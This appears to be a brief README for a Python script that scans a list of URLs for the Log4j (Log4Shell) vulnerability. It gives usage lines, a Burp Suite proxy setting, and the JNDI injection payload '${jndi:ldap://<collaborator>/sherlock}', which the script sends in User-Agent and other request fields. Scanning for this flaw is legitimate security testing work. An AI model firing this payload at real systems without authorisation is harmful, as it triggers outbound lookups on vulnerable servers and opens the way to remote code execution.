This script will help you to automate exploit Apache Log4j scanning againts a list of URL's
Installation
sudo apt install python3
Usage
python3 sherlock-exploit.py urls.txt <burpcolloborator URL
By default the tool will log the issues to Burp Suite, if you dont want to log just add comment to the proxy line.
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}this will disable the proxy
Output
The tool will send the ${jndi:ldap://<yourburpcollabURL>/sherlock} payload in various fields like user-agent, get and various fields. You can add more headers if you want.
Sample Testing
